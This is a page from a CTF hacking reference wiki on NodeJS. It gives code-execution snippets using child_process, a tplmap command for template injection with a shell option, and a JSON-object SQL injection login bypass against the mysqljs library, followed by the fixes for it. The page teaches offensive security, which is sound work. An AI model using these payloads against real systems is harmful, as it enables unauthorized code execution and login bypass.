🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • # Related Pages
  • Code Execution
  • Template Injection (SSTI)
  • Dependencies (package.json)
  • mysqljs/mysql library (latest) - SQL Injection using Objects
  1. Web
  2. Frameworks

NodeJS

The backend for running JavaScript as a server or application

PreviousRuby on RailsNextBun

Last updated 6 months ago

# Related Pages

Code Execution

// Simplest
require("child_process").execSync("id").toString()
// When require() is undefined
process.mainModule.require("child_process").execSync("id").toString()
// When process.mainModule is undefined
process.binding('spawn_sync').spawn({
    file: '/bin/sh',
    args: ['sh', '-c', 'id'],
    stdio: [
        {type:'pipe',readable:1,writable:0},
        {type:'pipe',readable:0,writable:1},
        {type:'pipe',readable:0,writable:1}
    ]
}).output.toString()

Template Injection (SSTI)

$ python2 tplmap.py -u http://localhost:3000/?name=john

The tool also allows you to exploit the injection using arguments such as --os-shell. See the --help page for more useful arguments.

Dependencies (package.json)

In every NodeJS project, there is a package.json file which contains a lot of metadata information about the project, such as where the main file is, some description, and the dependencies. These are external pieces of code with a version number attached that are used throughout the project.

A possible problem is when these dependencies aren't regularly updated, and vulnerabilities might be found in those dependencies and be fixed in later versions. If the code keeps using the older version it may become vulnerable because of those dependencies.

A simple way to check for known vulnerabilities is by uploading the package.json file to Snyk checker:

For attackers, this can give an idea of what vulnerabilities there might be. Of course, not all vulnerabilities this checker finds are actually exploitable, but you should find what parts/functions of the vulnerable code are used to see if it is.

This popular npm library uses prepared statements to prevent SQL Injection using regular strings, but a code example like the following is surprisingly still vulnerable:

...
app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM users WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});
...

In this case the username and password variables are directly passed into the SQL query, but using prepared statements with ? question marks as placeholders. Normally this would not be vulnerable to SQL Injection as the library handles separating code and data for you, which would be true if the variables were strings. If the variables are objects, however, weird things start to happen. With web endpoints in Express like the above, you can use the Content-Type: application/json to use JSON for your body, which may contain a more complex Object like the following:

{
  "username": "admin",
  "password": {
    "password": 1
  }
}

This is not a string anymore and mysql will have to put it into the query somehow. Instead of simply stringifying the object, it does something unexpected where key-value pairs become key=value pairs inside of the final query:

SELECT * FROM users WHERE username = 'admin' AND password = password = 1

To understand what this weird new query does, we follow the code from left to right. The WHERE clause makes sure username is equal to 'admin', and then comes the messed-up syntax. What actually happens here is that the first part password = password means "the password column equals the password column", which is always true! Then the last = 1 simply tests if the previous expression is equal to one. Due to type coercion, TRUE is the same as 1, so this condition will also be true.

This results in only the username being checked, which in theory could also be injected in the same way by providing an object for the username, if the administrator username is not known and we want to simply log in as the first user.

Tip: JSON is not the only way to create an Object instead of a String, as some frameworks also accept the ?name[key]=value syntax in query or body parameters. The above login bypass would look like this with the new syntax:

Content-Type: application/x-www-form-urlencoded
...

username=admin&password[password]=1

Successful protections against this technique are:

  • Wrapping parameters in String(...) to stringify them

  • The stringifyObjects: true option while setting up with createConnection:

connection = mysql.createConnection({
  ...
  stringifyObjects: true,
})

Similar to , there is which aims to automate template injections by testing various templating engines, as many exist for NodeJS. Here is a simple example:

library (latest) - SQL Injection using Objects

The alternative library

🌐
JavaScript
Bun
sqlmap
tplmap
mysqljs/mysql
mysql2
LogoCheck your package.json health | Snyk | SnykSnyk Advisor
Upload your package.json file and see all the vulnerabilities in old dependencies
LogoFinding an unseen SQL Injection by bypassing escape functions in mysqljs/mysqlMedium
Source of this trick, using JSON Objects to inject into prepared statements